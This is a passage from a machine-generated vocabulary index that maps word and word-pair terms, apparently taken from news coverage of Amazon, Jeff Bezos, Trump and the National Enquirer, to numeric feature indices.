"bakersfield": 1948, "nov ap": 1949, "shopping platforms": 1950, "typically sees": 1951, "spender": 1952, "using story": 1953, "featured videos": 1954, "margin commerce": 1955, "giant pointed": 1956, "covert insurgency": 1957, "weed tirement": 1958, "sports rights": 1959, "centers walmart": 1960, "mckay": 1961, "homeowners": 1962, "citi estimates": 1963, "shows progress": 1964, "establish identity": 1965, "mastercard": 1966, "addition aldi": 1967, "munduruku young": 1968, "changes doyle": 1969, "mckay cnr": 1970, "enquirer focus": 1971, "chloe decker": 1972, "allowing unmanned": 1973, "stories plaguing": 1974, "trillion just": 1975, "money complying": 1976, "spend increases": 1977, "king president": 1978, "protect europe": 1979, "mega companies": 1980, "toxic": 1981, "textron mentioned": 1982, "sheldon adelson": 1983, "twitter tantrums": 1984, "collective dream": 1985, "practices": 1986, "posts": 1987, "chasing facebook": 1988, "takeaways ivanka": 1989, "crown": 1990, "company wide": 1991, "interactions allowed": 1992, "activate": 1993, "inner workings": 1994, "hearing transparency": 1995, "giants extend": 1996, "130k new": 1997, "employees revived": 1998, "khan hire": 1999, "highest esteem": 2000, "sales comments": 2001, "amazon marketplace": 2002, "expel": 2003, "double revenue": 2004, "involuntary manslaughter": 2005, "prominent trump": 2006, "figures caught": 2007, "tweet alerting": 2008, "protesting amazon": 2009, "founded group": 2010, "downside penney": 2011, "steering group": 2012, "ace franchisees": 2013, "capture lot": 2014, "day amazon": 2015, "conservative backlash": 2016, "amazon fancy": 2017, "released barron": 2018, "hill spoke": 2019, "australian treasurer": 2020, "daily jealous": 2021, "change": 2022, "campaign stems": 2023, "bannon called": 2024, "company association": 2025, "campaign engaged": 2026, "accrue": 2027, "minutes left": 2028, "quiet releasing": 2029, "million customers": 2030, "doesn strike": 2031, "wacky drama": 2032, "post responds": 2033, "company orders": 2034, "oil sales": 2035, "spotify 2018": 2036, "president interviewed": 2037, "instead framing": 2038, "city won": 2039, "antitrust jeffersonians": 2040, "matthew gertz": 2041, "policy interests": 2042, "usps takes": 2043, "changed meanings": 2044, "insiders": 2045, "broadcast national": 2046, "tabloid report": 2047, "\u02c8ri": 2048, "competitive offers": 2049, "josh": 2050, "letter explaining": 2051, "contraception mandate": 2052, "answer tags": 2053, "computing backup": 2054, "credibilityquestions": 2055, "fame sister": 2056, "lifelong obsession": 2057, "pioneer": 2058, "lanthimos": 2059, "usual story": 2060, "offs": 2061, "jobs adverse": 2062, "hijackers amazon": 2063, "included allegations": 2064, "function a4ee": 2065, "issues ignoring": 2066, "dry cleaning": 2067, "500 veterans": 2068, "esque nightmare": 2069, "reforming": 2070, "brightest": 2071, "merchandise directly": 2072, "lidia karine": 2073, "conservative titles": 2074, "integral role": 2075, "117": 2076, "losing companies": 2077, "enquirer revelation": 2078, "28257": 2079, "power rangers": 2080, "flooding forests": 2081, "laurel mack": 2082, "union divorce": 2083, "protesting jobs": 2084, "midtown manhattan": 2085, "compression socks": 2086, "hindsight donald": 2087, "affiliated websites": 2088, "berkeley": 2089, "castillo reported": 2090, "imply daily": 2091, "extremely close": 2092, "president directly": 2093, "legalistic time": 2094, "new shipping": 2095, "openings": 2096, "kana dorothy": 2097, "font size": 2098, "stress racine": 2099, "higher early": 2100, "fringe left": 2101, "certainly hope": 2102, "considered tiffany": 2103, "benefits carlson": 2104, "run rubenstein": 2105, "1993 today": 2106, "privacy labour": 2107, "followers": 2108, "ultimate insider": 2109, "commuters": 2110, "sexual stories": 2111, "usps revealed": 2112, "discredit special": 2113, "time governor": 2114, "bezos situation": 2115, "organization day": 2116, "mojo going": 2117, "bedeviled presidents": 2118, "virtual takeover": 2119, "suggested price": 2120, "gretchen": 2121, "violations lawmakers": 2122, "americans having": 2123, "brodsky": 2124, "american perspective": 2125, "whatsapp billion": 2126, "officials quickly": 2127, "labyrinth": 2128, "ago funded": 2129, "rock school": 2130, "just say": 2131, "feel bad": 2132, "brand loyalty": 2133, "erdogan decide": 2134, "tutorials": 2135, "cloud giant": 2136, "invaded anytime": 2137, "hendel jhendel": 2138, "don waste": 2139, "dwarfing apple": 2140, "thunderstorms": 2141, "soy threats": 2142, "sanders ruffled": 2143, "fuel earnings": 2144, "perfect chance": 2145, "massive purchases": 2146, "ap president": 2147, "8217 adopt": 2148, "judge brett": 2149, "guarantee representation": 2150, "fighting big": 2151, "new hotel": 2152, "xr": 2153, "alike amazon": 2154, "media captionwas": 2155, "turn aggressively": 2156, "offload containers": 2157, "refrigeration facilities": 2158, "conservative free": 2159, "overreach": 2160, "quarter financial": 2161, "divergence": 2162, "schedule certain": 2163, "follows married": 2164, "really important": 2165, "sister campus": 2166, "placid": 2167, "triggers alexandria": 2168, "post doesn": 2169, "federal workers": 2170, "mark fired": 2171, "downward trend": 2172, "starting sept": 2173, "straight day": 2174, "1967 film": 2175, "beer drinks": 2176, "dissing": 2177, "withdrawal agreement": 2178, "free aws": 2179, "month period": 2180, "pfizer": 2181, "500 extraordinary": 2182, "retailer kohl": 2183, "month campaign": 2184, "getty walmart": 2185, "launches winner": 2186, "organizations demanded": 2187, "border agents": 2188, "step pen": 2189, "personnel liz": 2190, "upheaval": 2191, "eventually finding": 2192, "die eurotrip": 2193, "swath": 2194, "itsheadquarters": 2195, "routinely avoid": 2196, "food industry": 2197, "podesta juleanna": 2198, "deal big": 2199, "police benevolent": 2200, "does deemed": 2201, "vmware": 2202, "deeply immoral": 2203, "bubble": 2204, "nsu taking": 2205, "immigrants tightened": 2206, "u9 m2x": 2207, "trump designs": 2208, "voters adopted": 2209, "time big": 2210, "certain circles": 2211, "conspicuously absent": 2212, "refineries": 2213, "state democrats": 2214, "modest looked": 2215, "antony davies": 2216, "chinese growth": 2217, "verge 2018": 2218, "material affect": 2219, "married new": 2220, "including film": 2221, "mda marshall": 2222, "recent days": 2223, "orville hotstar": 2224, "dagger played": 2225, "ventures admitted": 2226, "compile": 2227, "favorably versus": 2228, "ryan ruth": 2229, "smalltown usa": 2230, "nyse yelp": 2231, "exchange trump": 2232, "man slavered": 2233, "awards jeff": 2234, "entertainment game": 2235, "exchange commission": 2236, "reportedly meant": 2237, "biden used": 2238, "includes columbia": 2239, "related scandals": 2240, "lake ended": 2241, "smart blogging": 2242, "melding": 2243, "addabbo": 2244, "clearly moved": 2245, "service google": 2246, "senator dick": 2247, "tackle challenges": 2248, "charge families": 2249, "photo kth": 2250, "cah news": 2251, "190 830": 2252, "511": 2253, "contentservices htlive": 2254, "turnout": 2255, "catastrophic collapse": 2256, "decision impose": 2257, "issues especially": 2258, "hyperlocal news": 2259, "numbers": 2260, "bizarre wait": 2261, "punishing": 2262, "photos kosovo": 2263, "site struggles": 2264, "campaign bolsonaro": 2265, "reset entirely": 2266, "published detailed": 2267, "embassies security": 2268, "hastening": 2269, "scottish premiership": 2270, "states indians": 2271, "sundance film": 2272, "intense flood": 2273, "quote allows": 2274, "did decline": 2275, "inside information": 2276, "primary season": 2277, "missile activity": 2278, "opening combination": 2279, "w5 u2x": 2280, "blue toyota": 2281, "respects bezos": 2282, "ulta kohl": 2283, "hillside": 2284, "2013 began": 2285, "population expands": 2286, "house yesterday": 2287, "positive sebastian": 2288, "minutes": 2289, "shelves slippery": 2290, "looks59": 2291, "aa z4": 2292, "recognition dinner": 2293, "producers regulators": 2294, "personal gripe": 2295, "suspicious package": 2296, "300 governmental": 2297, "acquisition amazon": 2298, "equities sales": 2299, "acknowledging": 2300, "tussauds wax": 2301, "buddies": 2302, "time bonus": 2303, "postal owners": 2304, "mother decided": 2305, "schiff described": 2306, "elephant": 2307, "mike nichol": 2308, "consent similar": 2309, "spreading movement": 2310, "amassed growing": 2311, "news slur": 2312, "important coverage": 2313, "blog mentioned": 2314, "investors insight": 2315, "computer scientists": 2316, "galactic milestones": 2317, "cap microsoft": 2318, "period followed": 2319, "rugeley near": 2320, "schiff comments": 2321, "night network": 2322, "redress": 2323, "paper editorial": 2324, "attracted widespread": 2325, "twitter read": 2326, "evening mocking": 2327, "2017 hurt": 2328, "market bets": 2329, "news original": 2330, "archibald": 2331, "workers seeking": 2332, "lawmakers demands": 2333, "2121": 2334, "today super": 2335, "anybody noticing": 2336, "constantinides proud": 2337, "overseeing icann": 2338, "409": 2339, "sales 2018": 2340, "rigged trump": 2341, "oxnard": 2342, "better future": 2343, "reports citi": 2344, "workers died": 2345, "climate fund": 2346, "university": 2347, "things exploiting": 2348, "office parcel": 2349, "michiel": 2350, "biggest 2020": 2351, "gonna cost": 2352, "valsartan": 2353, "spits": 2354, "risk reward": 2355, "frisk tactic": 2356, "amazon 3_5": 2357, "revoked": 2358, "dead man": 2359, "cop": 2360, "level wage": 2361, "training materials": 2362, "specific hot": 2363, "chinese box": 2364, "banishing": 2365, "price hit": 2366, "376": 2367, "little scrutiny": 2368, "boaz weintraub": 2369, "2018 gdp": 2370, "hiring trump": 2371, "telling stood": 2372, "mistaken": 2373, "amazon perfect": 2374, "pawlenty loses": 2375, "partnership bolsonaro": 2376, "closing deal": 2377, "lynn sweet": 2378, "padres": 2379, "false verification": 2380, "cisco": 2381, "book written": 2382, "chinese hackers": 2383, "crazy horse": 2384, "questions thrown": 2385, "intimidates": 2386, "nominates": 2387, "reelection amazon": 2388, "demand avod": 2389, "biggest tech": 2390, "bargaining chips": 2391, "newspaper illegally": 2392, "secdef": 2393, "homepage clicksource": 2394, "amazon quietly": 2395, "business information": 2396, "entire kingdoms": 2397, "entrepreneur": 2398, "amazon raise": 2399, "totally dressed": 2400, "democrat echo": 2401, "gutsy": 2402, "refuted trump": 2403, "baffler": 2404, "icymi jeff": 2405, "maria struck": 2406, "wage workers": 2407, "centralized banks": 2408, "500 ceos": 2409, "bourne sic": 2410, "gloves master": 2411, "destinations": 2412, "challenge fedex": 2413, "based service": 2414, "script bhagavad": 2415, "major petrochemical": 2416, "understatement kovach": 2417, "sex trafficking": 2418, "slate future": 2419, "wire primary": 2420, "amazon corporation": 2421, "mnuchin consent": 2422, "wonkette": 2423, "tiltsinclair": 2424, "becker longtime": 2425, "senator reform": 2426, "letter tracing": 2427, "campaign key": 2428, "prove strong": 2429, "creating political": 2430, "trump provokes": 2431, "replace hide": 2432, "ploy": 2433, "christian dogma": 2434, "disaster relief": 2435, "linguistic culture": 2436, "near snoqualmie": 2437, "movie producer": 2438, "prestige comic": 2439, "susan littlefield": 2440, "largest home": 2441, "capitol": 2442, "enmity stems": 2443, "built residential": 2444, "reached vice": 2445, "compatible": 2446, "trump questions": 2447, "congress new": 2448, "kiki": 2449, "sexist slurs": 2450, "sen michael": 2451, "megacap companies": 2452, "published emails": 2453, "amazon relationship": 2454, "amazon existing": 2455, "actively investigating": 2456, "advsrs llc": 2457, "conscience telling": 2458, "revival plan": 2459, "pd read": 2460, "strong data": 2461, "new conservative": 2462, "lower level": 2463, "demand neighborhood": 2464, "abrams": 2465, "black women": 2466, "austin pamies": 2467, "tremendous momentum": 2468, "congresspersons": 2469, "subcomandante dj": 2470, "shopping phenomenon": 2471, "talent agent": 2472, "democracy trump": 2473, "making false": 2474, "painted dire": 2475, "workforces": 2476, "armored": 2477, "reader propublica": 2478, "rate outside": 2479, "guardian global": 2480, "closest ally": 2481, "blasio announced": 2482, "hughes supporter": 2483, "cdc openly": 2484, "company forecasts": 2485, "castlevania doesn": 2486, "policy challenges": 2487, "replaces singer": 2488, "seat board": 2489, "join secretive": 2490, "friends posts": 2491, "spite": 2492, "trump disputed": 2493, "stamps needed": 2494, "ftse 100": 2495, "attenuated": 2496, "saudi expects": 2497, "amazon costing": 2498, "american pastor": 2499, "institutional investor": 2500, "puzzles": 2501, "weird hotel": 2502, "sanchez affair": 2503, "appears regularly": 2504, "going clear": 2505, "samsung ranked": 2506, "government surveillance": 2507, "carrefour buys": 2508, "shipping deals": 2509, "wages cnbc": 2510, "conspiracy salesman": 2511, "log": 2512, "cnn business": 2513, "news primetime": 2514, "elderly finally": 2515, "seiu property": 2516, "masculinity": 2517, "administration decided": 2518, "google falsified": 2519, "obtainable": 2520, "410 words": 2521, "hilton": 2522, "left multiple": 2523, "media huffing": 2524, "league matches": 2525, "similar stop": 2526, "customers read": 2527, "donated money": 2528, "earn turns": 2529, "threat nbc": 2530, "best indicators": 2531, "market rebound": 2532, "air corporate": 2533, "general coordinating": 2534, "bizarre comments": 2535, "complies": 2536, "global equities": 2537, "immunity": 2538, "bestselling": 2539, "4160 mv": 2540, "timeline": 2541, "bills bbc": 2542, "participants reported": 2543, "articlepage infinitearticlecollection": 2544, "company backed": 2545, "dmcc": 2546, "post calls": 2547, "machines photo": 2548, "teams vying": 2549, "saw bunch": 2550, "respectively looking": 2551, "changing global": 2552, "echo smart": 2553, "lepore": 2554, "disruption degrading": 2555, "post reporting": 2556, "digital tour": 2557, "making postal": 2558, "contact editorial": 2559, "amazon explained": 2560, "stage": 2561, "jeffries sees": 2562, "trv": 2563, "chinese owned": 2564, "industry dominance": 2565, "businesses supply": 2566, "fault make": 2567, "public outrage": 2568, "president council": 2569, "frosty": 2570, "stock shelves": 2571, "journal trump": 2572, "cap techs": 2573, "source real": 2574, "trump commercial": 2575, "handbags": 2576, "enquirer arrangement": 2577, "risk allowing": 2578, "lordish": 2579, "afghan peace": 2580, "growing scandals": 2581, "minister says": 2582, "international development": 2583, "scathing response": 2584, "adzone": 2585, "deal organized": 2586, "trample": 2587, "hide callbackobj": 2588, "citrin": 2589, "2018 cliff": 2590, "politically liberal": 2591, "hat just": 2592, "2224": 2593, "squad": 2594, "naive negotiating": 2595, "sanchez away": 2596, "powell midday": 2597, "amazon startup": 2598, "america universities": 2599, "faced criticism": 2600, "counterfeit pirated": 2601, "shull": 2602, "mejia story": 2603, "publicity fueling": 2604, "nasdaq rose": 2605, "possible anticompetitive": 2606, "quickly reciprocated": 2607, "flat aerodynamic": 2608, "hosted": 2609, "season meaning": 2610, "midterms expert": 2611, "server719403 articleid": 2612, "fall apart": 2613, "market rally": 2614, "ways california": 2615, "writes michael": 2616, "second amendment": 2617, "citizens united": 2618, "rukh": 2619, "cloud revenues": 2620, "sure circles": 2621, "footnoted": 2622, "whipsaw": 2623, "small sum": 2624, "offset financial": 2625, "fiscal bureau": 2626, "democracy ocasio": 2627, "2019 heart": 2628, "stock indexes": 2629, "tyranny violations": 2630, "inaccuracies despite": 2631, "trade pence": 2632, "market weakness": 2633, "recently jeff": 2634, "man rode": 2635, "lyrical": 2636, "realize green": 2637, "korean industrial": 2638, "act afraid": 2639, "annual predictions": 2640, "just distributors": 2641, "blustery cold": 2642, "balling wall": 2643, "wage foreign": 2644, "socioeconomic divide": 2645, "dementia": 2646, "claims saying": 2647, "shipping libertarian": 2648, "month exposed": 2649, "socialist sidekicks": 2650, "needed investigations": 2651, "complaint doesn": 2652, "benign silliness": 2653, "surrounding britain": 2654, "clearly indicates": 2655, "florida serving": 2656, "playing completely": 2657, "200 beds": 2658, "marin afp": 2659, "bezos separation": 2660, "sent barrage": 2661, "rep kevin": 2662, "cash free": 2663, "customers going": 2664, "paradox amazon": 2665, "kill scandal": 2666, "turned things": 2667, "videocardcontents sourcelink": 2668, "dread utm_campaign": 2669, "trump partnership": 2670, "strange things": 2671, "q4 based": 2672, "retain": 2673, "personally think": 2674, "503": 2675, "congress adjourns": 2676, "season starts": 2677, "rapid shipping": 2678, "gift list": 2679, "screen shot": 2680, "butt": 2681, "president son": 2682, "platooning": 2683, "campaign worked": 2684, "general described": 2685, "swiggy": 2686, "expectations construction": 2687, "populous states": 2688, "main targets": 2689, "trump stuns": 2690, "political news": 2691, "analysts stand": 2692, "trump lovers": 2693, "doll price": 2694, "reverend seth": 2695, "richard sisk": 2696, "minneapolis probation": 2697, "giant jeff": 2698, "faces sort": 2699, "preexisting conditions": 2700, "2015 mccain": 2701, "separate legal": 2702, "extraordinary accusation": 2703, "prime fresh": 2704, "away niles": 2705, "results cybersecurity": 2706, "markets performed": 2707, "increasing emphasis": 2708, "content costs": 2709, "office reunion": 2710, "harvested data": 2711, "business report": 2712, "fine griffeth": 2713, "information according": 2714, "build giant": 2715, "amendment provision": 2716, "written underneath": 2717, "clear native": 2718, "leaked islamic": 2719, "israel bolsonaro": 2720, "immigration drying": 2721, "city according": 2722, "offering helps": 2723, "magnuson": 2724, "strong social": 2725, "job scam": 2726, "underperformance": 2727, "morris award": 2728, "tcehy": 2729, "cited example": 2730, "provides inappropriate": 2731, "formal protest": 2732, "regulations attempt": 2733, "netflix tweeted": 2734, "2012 according": 2735, "benefiting amazon": 2736, "center autos": 2737, "adeyemi amazon": 2738, "roe changed": 2739, "certain publications": 2740, "hand kelly": 2741, "cottage grover": 2742, "rebuke hadn": 2743, "post industrial": 2744, "jeff green": 2745, "model claims": 2746, "latest hydrating": 2747, "invalidate parts": 2748, "virginia causing": 2749, "documents": 2750, "enjoy big": 2751, "recent academic": 2752, "ruffled amazon": 2753, "backbone campaign": 2754, "trump rants": 2755, "place uses": 2756, "trump fusillade": 2757, "candidate behavior": 2758, "verna": 2759, "applications business": 2760, "piggy bank": 2761, "gas services": 2762, "pecker admitted": 2763, "considering duffy": 2764, "television": 2765, "appeal participant": 2766, "368": 2767, "vodka": 2768, "political viewpoint": 2769, "world announced": 2770, "butte": 2771, "technical advice": 2772, "tabloid strong": 2773, "legal specialists": 2774, "companies operate": 2775, "stocks help": 2776, "savannization": 2777, "2019 sisters": 2778, "mccarthykevin": 2779, "taking political": 2780, "world commentary": 2781, "populareconomics": 2782, "corporate association": 2783, "enquirer read": 2784, "water girl": 2785, "romney mcdaniel": 2786, "unfinished galley": 2787, "commerce cloud": 2788, "lamster": 2789, "suspecting political": 2790, "menlo": 2791, "local fare": 2792, "told listen": 2793, "investigations cbs": 2794, "number wrote": 2795, "government engineers": 2796, "alike according": 2797, "pecker head": 2798, "corporations following": 2799, "big holiday": 2800, "1986": 2801, "mary davie": 2802, "industries recently": 2803, "samples": 2804, "campaign calling": 2805, "colaneri": 2806, "murders": 2807, "small river": 2808, "fernholz author": 2809, "olds hacking": 2810, "boeing aerospace": 2811, "ireland park": 2812, "embarrassing texts": 2813, "ac vpx": 2814, "xlnx": 2815, "metal prices": 2816, "guard": 2817, "retailers little": 2818, "analyst stephen": 2819, "congress ratchet": 2820, "support works": 2821, "verify content": 2822, "business contributing": 2823, "feels immediately": 2824, "explicit threat": 2825, "s5 var": 2826, "main argument": 2827, "house near": 2828, "biased disinformation": 2829, "stopping candor": 2830, "staff share": 2831, "gonna happen": 2832, "republican state": 2833, "patent portfolio": 2834, "conscious small": 2835, "daily prescriptions": 2836, "amazon 28222": 2837, "fetus": 2838, "geoengineering pollutants": 2839, "marketplace mark": 2840, "proud glitches": 2841, "marc benioff": 2842, "perk support": 2843, "richard rainbow": 2844, "heartfelt": 2845, "molehill 2018": 2846, "mayor says": 2847, "morally objectionable": 2848, "global markets": 2849, "listed netease": 2850, "era policies": 2851, "grocer aldi": 2852, "reported record": 2853, "shooting today": 2854, "amazon rolling": 2855, "support rolling": 2856, "using trump": 2857, "knock": 2858, "puzder ratings": 2859, "bond formula": 2860, "tweety boy": 2861, "exposed texts": 2862, "doesn blame": 2863, "airing jones": 2864, "barely grew": 2865, "elevated": 2866, "obrador added": 2867, "good dose": 2868, "born queer": 2869, "safeguard": 2870, "poe writes": 2871, "disadvantage": 2872, "amazon content": 2873, "massive competition": 2874, "rally marked": 2875, "pol pot": 2876, "average net": 2877, "today readers": 2878, "wasn enforcing": 2879, "drop silly": 2880, "pro family": 2881, "spoof commercial": 2882, "ambiguously": 2883, "store near": 2884, "cape recruited": 2885, "causing usps": 2886, "offered brief": 2887, "new rt": 2888, "nation smashing": 2889, "predispositions": 2890, "violent drug": 2891, "poverty refundable": 2892, "banned worldwide": 2893, "package rates": 2894, "boomer": 2895, "longtime director": 2896, "kopen": 2897, "tv appearance": 2898, "underpaying workers": 2899, "gmt cnn": 2900, "ebt card": 2901, "growth commitment": 2902, "trump triggered": 2903, "seamless purchasing": 2904, "john carroll": 2905, "google hearing": 2906, "kamal ohava": 2907, "rwg1yjnwzh vice": 2908, "ally reported": 2909, "story spurs": 2910, "section 214": 2911, "national media": 2912, "combatting": 2913, "california online": 2914, "amazon umbrella": 2915, "mst believes": 2916, "trading llc": 2917, "russia probe": 2918, "business global": 2919, "toyota motor": 2920, "operations expert": 2921, "tweets ocasio": 2922, "dad music": 2923, "ziploc": 2924, "products ad": 2925, "probably explained": 2926, "truck traffic": 2927, "assets vital": 2928, "mainly known": 2929, "page_internal": 2930, "talks pretty": 2931, "analysts forecast": 2932, "politics just": 2933, "zonar": 2934, "cognitive dissonance": 2935, "grade quadro": 2936, "cutting usps": 2937, "newsletter pirro": 2938, "starfish": 2939, "suggest migration": 2940, "false reporting": 2941, "unseat sen": 2942, "fun gripping": 2943, "trade policies": 2944, "operating major": 2945, "cancel": 2946, "kinsella weitzman": 2947, "123s photo": 2948, "ministry signed": 2949, "profiling": 2950, "france beating": 2951, "fro renters": 2952, "new 600": 2953, "garish clown": 2954, "publicly questioned": 2955, "samen": 2956, "leaves newborn": 2957, "close read": 2958, "street reassessing": 2959, "plausible archetype": 2960, "stephanie mccrummen": 2961, "fictional clown": 2962, "film crews": 2963, "requires rekognition": 2964, "216 million": 2965, "especially unfair": 2966, "1153": 2967, "personal care": 2968, "violated": 2969, "losing candidates": 2970, "uses strategies": 2971, "enquirer feb": 2972, "regular old": 2973, "cbs california": 2974, "primarychallenger phillip": 2975, "twitter kurtbardella": 2976, "exciting think": 2977, "users wonder": 2978, "governor welcome": 2979, "doj publication": 2980, "course bezos": 2981, "joy": 2982, "shipping cost": 2983, "nearly unbelievable": 2984, "waving banners": 2985, "recent": 2986, "significantly amazon": 2987, "reboots": 2988, "tablehero": 2989, "innovative": 2990, "varidesk": 2991, "different lifestyle": 2992, "resources globenewswire": 2993, "art recode": 2994, "help cover": 2995, "nation chief": 2996, "country receives": 2997, "frequently delegating": 2998, "blake focus": 2999, "stone currently": 3000, "beto rourke": 3001, "comic section": 3002, "owns bezos": 3003, "make payment": 3004, "2011 cape": 3005, "thinking": 3006, "ty7ecxvokl bernie": 3007, "flurry": 3008, "merger wasn": 3009, "services new": 3010, "nic lost": 3011, "york documented": 3012, "dale holness": 3013, "announcement follows": 3014, "agriculture lobby": 3015, "treatment cosecha": 3016, "risk demand": 3017, "decisions dimondstein": 3018, "selected supportive": 3019, "won want": 3020, "kummer vanity": 3021, "marty": 3022, "sharecroppers": 3023, "content democrat": 3024, "stapleton": 3025, "di maio": 3026, "bezos agrees": 3027, "talbot": 3028, "sell exclusively": 3029, "divided politically": 3030, "516 000": 3031, "government organised": 3032, "flying stock": 3033, "resolution small": 3034, "kate know": 3035, "festival chop": 3036, "ceo jim": 3037, "famed mar": 3038, "forgotten faiths": 3039, "minority leader": 3040, "senior roles": 3041, "poor noah": 3042, "office reveals": 3043, "everybody trump": 3044, "demand amazon": 3045, "nyse mcd": 3046, "exceedingly costly": 3047, "permian": 3048, "manage inventory": 3049, "members paul": 3050, "company thinking": 3051, "guatemala": 3052, "marketplace parts": 3053, "sprang": 3054, "respected twitter": 3055, "trump perspective": 3056, "investigation according": 3057, "democrats apparently": 3058, "homelessness initiatives": 3059, "caring": 3060, "butsign": 3061, "capitalism column": 3062, "feeling trump": 3063, "include cash": 3064, "supervening events": 3065, "gianforte chances": 3066, "investigation underway": 3067, "lost showrunner": 3068, "photos skorea": 3069, "receive packages": 3070, "appointing task": 3071, "world sales": 3072, "reportedly disagreed": 3073, "toxic chemical": 3074, "running small": 3075, "database product": 3076, "combat robotexts": 3077, "hypocritical op": 3078, "interracial": 3079, "cortez ignored": 3080, "amazon access": 3081, "companies pat": 3082, "goods orders": 3083, "secretly arranged": 3084, "compliance software": 3085, "singh ret": 3086, "murray alansmurray": 3087, "books sold": 3088, "online merchant": 3089, "exec ami": 3090, "bitter charges": 3091, "service unique": 3092, "bochy": 3093, "fresh attack": 3094, "board games": 3095, "health benefit": 3096, "innocence": 3097, "sportswear express": 3098, "primary reason": 3099, "loan forgiveness": 3100, "service underpaying": 3101, "leading apple": 3102, "reading custom": 3103, "personal fools": 3104, "trump walmart": 3105, "video_sourcename 1iq5vw0": 3106, "european members": 3107, "wage standard": 3108, "lola brought": 3109, "hahn": 3110, "weeks sen": 3111, "popular game": 3112, "supply agreement": 3113, "unsubstantiated rumours": 3114, "announce": 3115, "fired washington": 3116, "tv presenter": 3117, "market itep": 3118, "malek": 3119, "tax passed": 3120, "naacp slammed": 3121, "facebook says": 3122, "patriotic service": 3123, "second tweet": 3124, "votes just": 3125, "mere": 3126, "investor point": 3127, "biggest revenue": 3128, "people online": 3129, "growing digital": 3130, "digital content": 3131, "jenny": 3132, "livestock enmeshing": 3133, "investigations ivanka": 3134, "scholarly": 3135, "monetary issues": 3136, "tenders": 3137, "platform price": 3138, "testing waters": 3139, "state officials": 3140, "depictions": 3141, "donnelly grew": 3142, "offering currently": 3143, "sacramento kings": 3144, "democrat donovan": 3145, "dominated": 3146, "lawyer defends": 3147, "securing essential": 3148, "letter denouncing": 3149, "received freely": 3150, "based news": 3151, "publish trump": 3152, "measuring tech": 3153, "caption cnn": 3154, "christian groups": 3155, "certainly doing": 3156, "inc_custom_teaser": 3157, "away opportunities": 3158, "contractor tests": 3159, "questions learn": 3160, "runaway leader": 3161, "homell": 3162, "economically": 3163, "improvement merchandise": 3164, "selected 3006": 3165, "keycommittee": 3166, "youtube watch": 3167, "competition note": 3168, "plains": 3169, "videotape eunice": 3170, "suggested driving": 3171, "nyt capcon": 3172, "making founder": 3173, "expects global": 3174, "victoria staged": 3175, "overpass": 3176, "stocks added": 3177, "investigation manhattan": 3178, "fortune bezos": 3179, "trump upset": 3180, "mistakenly conclude": 3181, "taking shape": 3182, "hdr tv": 3183, "select enabled": 3184, "crisis maduro": 3185, "ima": 3186, "tn": 3187, "toldthe": 3188, "antiviral": 3189, "schapperts leased": 3190, "culinary scene": 3191, "libertyblitz": 3192, "desk rack": 3193, "trust amazon": 3194, "technically complex": 3195, "vaticannews christianity": 3196, "corporate conference": 3197, "underserved communities": 3198, "apparel electronics": 3199, "barclays": 3200, "wewontbeerased": 3201, "collaborative relationships": 3202, "hosting websites": 3203, "time periods": 3204, "octane action": 3205, "deserves box": 3206, "johnson shot": 3207, "muscles": 3208, "given responsibility": 3209, "led declines": 3210, "amazon internal": 3211, "paper featuring": 3212, "mail revenue": 3213, "pro tempore": 3214, "shooting rampage": 3215, "conservatives social": 3216, "itunes google": 3217, "respond proactively": 3218, "report did": 3219, "able awards": 3220, "mcdougal signed": 3221, "repeatedly ravaged": 3222, "good legitimate": 3223, "sears walmart": 3224, "key lock": 3225, "added household": 3226, "web sites": 3227, "earth owns": 3228, "amazonuk prime": 3229, "separate policy": 3230, "rep dave": 3231, "recently concluded": 3232, "county kentucky": 3233, "workers pay": 3234, "military elite": 3235, "million young": 3236, "worse today": 3237, "imovie": 3238, "john burnett": 3239, "muslim terrorists": 3240, "counterfeiters look": 3241, "drawing": 3242, "cnn social": 3243, "burundian": 3244, "amazon establish": 3245, "vineyard": 3246, "choosing long": 3247, "better finish": 3248, "adblock button": 3249, "ami paid": 3250, "sadly trump": 3251, "market extra": 3252, "data points": 3253, "discount program": 3254, "frequent target": 3255, "cheraw road": 3256, "wyckhouse congresswoman": 3257, "51492": 3258, "fund super": 3259, "getting increasingly": 3260, "government contractors": 3261, "delivery amazon": 3262, "chevron ibm": 3263, "movies music": 3264, "booming": 3265, "charts spicer": 3266, "itep says": 3267, "small width": 3268, "giant trillion": 3269, "delegates approved": 3270, "tiered regulatory": 3271, "dominate new": 3272, "represents long": 3273, "legendary certainly": 3274, "weve created": 3275, "crackpot": 3276, "stupid cnbc": 3277, "tweets criticizing": 3278, "trump coincidentally": 3279, "years wouldn": 3280, "spends": 3281, "best days": 3282, "today aug": 3283, "herds": 3284, "store typically": 3285, "president boycott": 3286, "honest speaking": 3287, "capacitors": 3288, "chief alan": 3289, "calendar gallery": 3290, "tripping": 3291, "unionization citing": 3292, "wishful cities": 3293, "hornblower": 3294, "personal discussion": 3295, "finally rid": 3296, "ico": 3297, "incredibly uncomfortable": 3298, "feared russia": 3299, "peak prior": 3300, "relentless assaults": 3301, "expand protection": 3302, "streaming skills": 3303, "miracle path": 3304, "political gamesmanship": 3305, "including ami": 3306, "a787ba9a": 3307, "isn chalking": 3308, "ground": 3309, "new feminist": 3310, "credentials doesn": 3311, "economically conservative": 3312, "spell burning": 3313, "kindly view": 3314, "live event": 3315, "worry china": 3316, "circus brought": 3317, "gottfried": 3318, "wilson filling": 3319, "story hr": 3320, "hour consider": 3321, "journalism museum": 3322, "unified platform": 3323, "structural remedies": 3324, "government google": 3325, "initial print": 3326, "huge": 3327, "centers operators": 3328, "unilaterally make": 3329, "specific plan": 3330, "donald birkenhead": 3331, "ubs": 3332, "faiths": 3333, "help narrow": 3334, "logistical challenge": 3335, "potential bias": 3336, "city left": 3337, "hat trick": 3338, "bezos emphasized": 3339, "results video": 3340, "investors nervous": 3341, "today daily": 3342, "businesses stifle": 3343, "cracking pace": 3344, "hbpnbausja steven": 3345, "federal house": 3346, "travelpod": 3347, "reach amazon": 3348, "local housing": 3349, "lynchian": 3350, "trump officials": 3351, "global stock": 3352, "rising cost": 3353, "iconic blue": 3354, "winning actress": 3355, "onshore": 3356, "fresh revelations": 3357, "crosses threshold": 3358, "dangerous mission": 3359, "scott wiener": 3360, "trash pickup": 3361, "structure does": 3362, "attack mccain": 3363, "tighter fed": 3364, "cares": 3365, "recorded private": 3366, "service carries": 3367, "hogg wasn": 3368, "enquirer doesn": 3369, "graham lies": 3370, "orwell new": 3371, "bezos tactic": 3372, "says committed": 3373, "2016 catch": 3374, "bing gordon": 3375, "redmond anymore": 3376, "markets story": 3377, "supplies fuel": 3378, "universally": 3379, "recorded": 3380, "institute nrgi": 3381, 